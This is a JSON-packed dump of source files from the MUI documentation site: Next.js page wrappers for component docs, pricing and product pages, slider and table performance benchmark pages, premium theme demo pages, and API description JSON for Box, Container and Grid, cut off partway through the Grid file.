    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/switches/switches.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-table.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/table/table.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} wideLayout />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-tabs.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/tabs/tabs.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-text-field.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/text-fields/text-fields.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-textarea-autosize.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/textarea-autosize/textarea-autosize.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-timeline.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/timeline/timeline.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-toggle-button.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/toggle-button/toggle-button.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-tooltip.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/tooltips/tooltips.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-transfer-list.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/transfer-list/transfer-list.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-typography.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/typography/typography.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-use-media-query.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/use-media-query/use-media-query.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/transitions.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/transitions/transitions.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport MaterialHero from 'docs/src/components/productMaterial/MaterialHero';\nimport MaterialComponents from 'docs/src/components/productMaterial/MaterialComponents';\nimport MaterialTheming from 'docs/src/components/productMaterial/MaterialTheming';\nimport MaterialStyling from 'docs/src/components/productMaterial/MaterialStyling';\nimport MaterialTemplates from 'docs/src/components/productMaterial/MaterialTemplates';\nimport MaterialDesignKits from 'docs/src/components/productMaterial/MaterialDesignKits';\nimport MaterialEnd from 'docs/src/components/productMaterial/MaterialEnd';\nimport References, { CORE_CUSTOMERS } from 'docs/src/components/home/References';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\n\nexport default function MaterialUI() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Material UI: React components that implement Material Design\"\n        description=\"Material UI is an open-source React component library that implements Google's Material Design. It's comprehensive and can be used in production out of the box.\"\n        card=\"/static/social-previews/materialui-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader gitHubRepository=\"https://github.com/mui/material-ui\" />\n      <main id=\"main-content\">\n        <MaterialHero />\n        <References companies={CORE_CUSTOMERS} />\n        <Divider />\n        <MaterialComponents />\n        <Divider />\n        <MaterialTheming />\n        <Divider />\n        <MaterialStyling />\n        <Divider />\n        <MaterialTemplates />\n        <Divider />\n        <MaterialDesignKits />\n        <Divider />\n        <MaterialEnd />\n        <Divider />\n      </main>\n      <AppFooter stackOverflowUrl=\"https://stackoverflow.com/questions/tagged/material-ui\" />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/slider-emotion.js",
    "content": "import { NoSsr } from '@mui/base/NoSsr';\nimport Slider from '@mui/material/Slider';\n\nconst data = {\n  name: 'Frozen yoghurt',\n  calories: 159,\n  fat: 6.0,\n  carbs: 24,\n  protein: 4.0,\n};\n\nconst rows = Array.from(new Array(500)).map(() => data);\n\nexport default function SliderEmotion() {\n  return (\n    <NoSsr defer>\n      <div style={{ width: 300 }}>\n        {rows.map((row, index) => (\n          <Slider value={20} key={index} />\n        ))}\n      </div>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/slider-jss.js",
    "content": "import { NoSsr } from '@mui/base/NoSsr';\nimport Slider from '@mui/material/Slider';\n\nconst data = {\n  name: 'Frozen yoghurt',\n  calories: 159,\n  fat: 6.0,\n  carbs: 24,\n  protein: 4.0,\n};\n\nconst rows = Array.from(new Array(500)).map(() => data);\n\nexport default function SliderJss() {\n  return (\n    <NoSsr defer>\n      <div style={{ width: 300 }}>\n        {rows.map((row, index) => (\n          <Slider value={20} key={index} />\n        ))}\n      </div>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/system.js",
    "content": "import { NoSsr } from '@mui/base/NoSsr';\nimport Box from '@mui/material/Box';\n\nexport default function SxPropBoxMaterialUI() {\n  return (\n    <NoSsr defer>\n      {new Array(1000).fill().map((_, index) => (\n        <Box\n          key={index}\n          sx={{\n            width: 200,\n            height: 200,\n            borderWidth: '3px',\n            borderColor: 'white',\n            backgroundColor: ['primary.main', 'text.primary', 'background.paper'],\n            borderStyle: ['dashed', 'solid', 'dotted'],\n            '&:hover': {\n              backgroundColor: (theme) => theme.palette.secondary.dark,\n            },\n          }}\n        >\n          test case\n        </Box>\n      ))}\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/table-component.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { NoSsr } from '@mui/base/NoSsr';\n\nconst createComponent = (defaultComponent) => {\n  const MyComponent = React.forwardRef(function MyComponent(props, ref) {\n    const { component: Component = defaultComponent, ...other } = props;\n\n    return <Component ref={ref} {...other} />;\n  });\n\n  MyComponent.propTypes = {\n    component: PropTypes.elementType,\n  };\n\n  return MyComponent;\n};\n\nconst Table = createComponent('table');\nconst TableHead = createComponent('thead');\nconst TableRow = createComponent('tr');\nconst TableCell = createComponent('td');\nconst TableBody = createComponent('tbody');\n\nconst data = { name: 'Frozen yoghurt', calories: 159, fat: 6.0, carbs: 24, protein: 4.0 };\nconst rows = Array.from(new Array(100)).map(() => data);\n\nexport default function TableComponent() {\n  return (\n    <NoSsr defer>\n      <Table>\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell>Calories</TableCell>\n            <TableCell>Fat&nbsp;(g)</TableCell>\n            <TableCell>Carbs&nbsp;(g)</TableCell>\n            <TableCell>Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row, index) => (\n            <TableRow key={index}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell>{row.calories}</TableCell>\n              <TableCell>{row.fat}</TableCell>\n              <TableCell>{row.carbs}</TableCell>\n              <TableCell>{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/table-emotion.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport styled from '@emotion/styled';\n// import { styled } from '@mui/material/styles';\nimport { NoSsr } from '@mui/base/NoSsr';\n\nconst createComponent = (defaultComponent) => {\n  const Root = styled('div')`\n    background: pink;\n  `;\n\n  const MyComponent = React.forwardRef(function MyComponent(props, ref) {\n    const { component = defaultComponent, ...other } = props;\n\n    return <Root as={component} ref={ref} {...other} />;\n  });\n\n  MyComponent.propTypes = {\n    component: PropTypes.elementType,\n  };\n\n  return MyComponent;\n};\n\nconst Table = createComponent('table');\nconst TableHead = createComponent('thead');\nconst TableRow = createComponent('tr');\nconst TableCell = createComponent('td');\nconst TableBody = createComponent('tbody');\n\nconst data = { name: 'Frozen yoghurt', calories: 159, fat: 6.0, carbs: 24, protein: 4.0 };\nconst rows = Array.from(new Array(100)).map(() => data);\n\nexport default function TableEmotion() {\n  return (\n    <NoSsr defer>\n      <Table>\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell>Calories</TableCell>\n            <TableCell>Fat&nbsp;(g)</TableCell>\n            <TableCell>Carbs&nbsp;(g)</TableCell>\n            <TableCell>Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row, index) => (\n            <TableRow key={index}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell>{row.calories}</TableCell>\n              <TableCell>{row.fat}</TableCell>\n              <TableCell>{row.carbs}</TableCell>\n              <TableCell>{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/table-mui.js",
    "content": "import { NoSsr } from '@mui/base/NoSsr';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\n\nconst data = { name: 'Frozen yoghurt', calories: 159, fat: 6.0, carbs: 24, protein: 4.0 };\nconst rows = Array.from(new Array(100)).map(() => data);\n\nexport default function TableMui() {\n  return (\n    <NoSsr defer>\n      <Table>\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell>Calories</TableCell>\n            <TableCell>Fat&nbsp;(g)</TableCell>\n            <TableCell>Carbs&nbsp;(g)</TableCell>\n            <TableCell>Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row, index) => (\n            <TableRow key={index}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell>{row.calories}</TableCell>\n              <TableCell>{row.fat}</TableCell>\n              <TableCell>{row.carbs}</TableCell>\n              <TableCell>{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/table-raw.js",
    "content": "import { NoSsr } from '@mui/base/NoSsr';\n\nconst data = { name: 'Frozen yoghurt', calories: 159, fat: 6.0, carbs: 24, protein: 4.0 };\nconst rows = Array.from(new Array(100)).map(() => data);\n\nexport default function TableRaw() {\n  return (\n    <NoSsr defer>\n      <table>\n        <thead>\n          <tr>\n            <th>Dessert (100g serving)</th>\n            <th>Calories</th>\n            <th>Fat&nbsp;(g)</th>\n            <th>Carbs&nbsp;(g)</th>\n            <th>Protein&nbsp;(g)</th>\n          </tr>\n        </thead>\n        <tbody>\n          {rows.map((row, index) => (\n            <tr key={index}>\n              <th scope=\"row\">{row.name}</th>\n              <td>{row.calories}</td>\n              <td>{row.fat}</td>\n              <td>{row.carbs}</td>\n              <td>{row.protein}</td>\n            </tr>\n          ))}\n        </tbody>\n      </table>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/performance/table-styled-components.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport styled from 'styled-components';\nimport { NoSsr } from '@mui/base/NoSsr';\n\nconst createComponent = (defaultComponent) => {\n  const MyComponent = React.forwardRef(function MyComponent(props, ref) {\n    const { component: Component = defaultComponent, ...other } = props;\n\n    return <Component ref={ref} {...other} />;\n  });\n\n  MyComponent.propTypes = {\n    component: PropTypes.elementType,\n  };\n\n  return styled(MyComponent)`\n    background: pink;\n  `;\n};\n\nconst Table = createComponent('table');\nconst TableHead = createComponent('thead');\nconst TableRow = createComponent('tr');\nconst TableCell = createComponent('td');\nconst TableBody = createComponent('tbody');\n\nconst data = { name: 'Frozen yoghurt', calories: 159, fat: 6.0, carbs: 24, protein: 4.0 };\nconst rows = Array.from(new Array(100)).map(() => data);\n\nexport default function TableStyledComponents() {\n  return (\n    <NoSsr defer>\n      <Table>\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell>Calories</TableCell>\n            <TableCell>Fat&nbsp;(g)</TableCell>\n            <TableCell>Carbs&nbsp;(g)</TableCell>\n            <TableCell>Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row, index) => (\n            <TableRow key={index}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell>{row.calories}</TableCell>\n              <TableCell>{row.fat}</TableCell>\n              <TableCell>{row.carbs}</TableCell>\n              <TableCell>{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </NoSsr>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/onepirate/forgot-password.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport ForgotPassword from 'docs/src/pages/premium-themes/onepirate/ForgotPassword';\n\nexport default function Page() {\n  return (\n    <AppTheme title=\"Onepirate theme - MUI\" description=\"A onepirate theme\">\n      <ForgotPassword />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/onepirate/index.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport Home from 'docs/src/pages/premium-themes/onepirate/Home';\n\nexport default function Page() {\n  return (\n    <AppTheme title=\"Onepirate theme - MUI\" description=\"A onepirate theme\">\n      <Home />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/onepirate/privacy.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport Privacy from 'docs/src/pages/premium-themes/onepirate/Privacy';\n\nexport default function Page() {\n  return (\n    <AppTheme title=\"Onepirate theme - MUI\" description=\"A onepirate theme\">\n      <Privacy />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/onepirate/sign-in.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport SignIn from 'docs/src/pages/premium-themes/onepirate/SignIn';\n\nexport default function Page() {\n  return (\n    <AppTheme title=\"Onepirate theme - MUI\" description=\"A onepirate theme\">\n      <SignIn />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/onepirate/sign-up.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport SignUp from 'docs/src/pages/premium-themes/onepirate/SignUp';\n\nexport default function Page() {\n  return (\n    <AppTheme title=\"Onepirate theme - MUI\" description=\"A onepirate theme\">\n      <SignUp />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/onepirate/terms.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport Terms from 'docs/src/pages/premium-themes/onepirate/Terms';\n\nexport default function Page() {\n  return (\n    <AppTheme title=\"Onepirate theme - MUI\" description=\"A onepirate theme\">\n      <Terms />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/premium-themes/paperbase/index.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport Paperbase from 'docs/src/pages/premium-themes/paperbase/Paperbase';\n\nexport default function Page() {\n  return (\n    <AppTheme\n      title=\"Paperbase theme - MUI\"\n      description={`A page that mimics Firebase.\n        This item includes theming using the theme provider component.`}\n    >\n      <Paperbase />\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/pricing.tsx",
    "content": "import Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport HeroPricing from 'docs/src/components/pricing/HeroPricing';\nimport PricingTable from 'docs/src/components/pricing/PricingTable';\nimport PricingList from 'docs/src/components/pricing/PricingList';\nimport Testimonials from 'docs/src/components/home/Testimonials';\nimport PricingWhatToExpect from 'docs/src/components/pricing/PricingWhatToExpect';\nimport PricingFAQ from 'docs/src/components/pricing/PricingFAQ';\nimport HeroEnd from 'docs/src/components/home/HeroEnd';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\nimport { MultiAppProvider } from 'docs/src/components/pricing/MultiAppContext';\nimport { LicenseModelProvider } from 'docs/src/components/pricing/LicenseModelContext';\nimport PricingCards from 'docs/src/components/pricing/PricingCards';\n\nexport default function Pricing() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Pricing - MUI\"\n        description=\"The community edition lets you get going right away. Switch to a commercial plan for more components & technical support.\"\n        card=\"/static/social-previews/pricing-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader />\n      <main id=\"main-content\">\n        <HeroPricing />\n        <LicenseModelProvider>\n          <MultiAppProvider>\n            <Container sx={{ display: { xs: 'none', md: 'block' } }}>\n              <PricingCards />\n            </Container>\n            <Divider />\n            {/* Mobile, Tablet */}\n            <Container sx={{ display: { xs: 'block', md: 'none' }, pb: 3, mt: '-1px' }}>\n              <PricingList />\n            </Container>\n            {/* Desktop */}\n            <Container sx={{ display: { xs: 'none', md: 'block' } }}>\n              <PricingTable />\n            </Container>\n          </MultiAppProvider>\n        </LicenseModelProvider>\n        <PricingWhatToExpect />\n        <Divider />\n        <PricingFAQ />\n        <Divider />\n        <Testimonials />\n        <Divider />\n        <HeroEnd />\n        <Divider />\n      </main>\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/production-error.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/src/pages/production-error/index.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/system/api/box.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './box.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/box', false, /\\.\\/box.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/system/api/box.json",
    "content": "{\n  \"props\": {\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Box\",\n  \"imports\": [\"import Box from '@mui/system/Box';\", \"import { Box } from '@mui/system';\"],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiBox-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiBox\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-system/src/Box/Box.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-box/\\\">Box (Material UI)</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar (Material UI)</a></li>\\n<li><a href=\\\"/system/react-box/\\\">Box (MUI System)</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/system/api/container.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './container.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/container',\n    false,\n    /\\.\\/container.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/system/api/container.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fixed\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"maxWidth\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'xs'<br>&#124;&nbsp;'sm'<br>&#124;&nbsp;'md'<br>&#124;&nbsp;'lg'<br>&#124;&nbsp;'xl'<br>&#124;&nbsp;false<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'lg'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Container\",\n  \"imports\": [\n    \"import Container from '@mui/system/Container';\",\n    \"import { Container } from '@mui/system';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disableGutters\",\n      \"className\": \"MuiContainer-disableGutters\",\n      \"description\": \"Styles applied to the root element if `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fixed\",\n      \"className\": \"MuiContainer-fixed\",\n      \"description\": \"Styles applied to the root element if `fixed={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthLg\",\n      \"className\": \"MuiContainer-maxWidthLg\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"lg\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthMd\",\n      \"className\": \"MuiContainer-maxWidthMd\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"md\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthSm\",\n      \"className\": \"MuiContainer-maxWidthSm\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"sm\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthXl\",\n      \"className\": \"MuiContainer-maxWidthXl\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"xl\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthXs\",\n      \"className\": \"MuiContainer-maxWidthXs\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"xs\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiContainer-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiContainer\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-system/src/Container/Container.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-container/\\\">Container (Material UI)</a></li>\\n<li><a href=\\\"/system/react-container/\\\">Container (MUI System)</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/system/api/grid.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './grid.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/grid', false, /\\.\\/grid.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/system/api/grid.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"columns\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"12\"\n    },\n    \"columnSpacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      }\n    },\n    \"container\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'row-reverse'<br>&#124;&nbsp;'row'<br>&#124;&nbsp;Array&lt;'row-reverse'<br>&#124;&nbsp;'row'&gt;<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"'row'\"\n    },\n    \"offset\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"string<br>&#124;&nbsp;number<br>&#124;&nbsp;Array&lt;string<br>&#124;&nbsp;number&gt;<br>&#124;&nbsp;object\"\n      }\n    },\n    \"rowSpacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      }\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"string<br>&#124;&nbsp;bool<br>&#124;&nbsp;number<br>&#124;&nbsp;Array&lt;string<br>&#124;&nbsp;bool<br>&#124;&nbsp;number&gt;<br>&#124;&nbsp;object\"\n      }\n    },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"0\"\n    },\n    \"wrap\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'nowrap'<br>&#124;&nbsp;'wrap-reverse'<br>&#124;&nbsp;'wrap'\"\n      },\n      \"default\": \"'wrap'\"\n    }\n  },\n  \"name\": \"Grid\",\n  \"imports\": [\"import Grid from 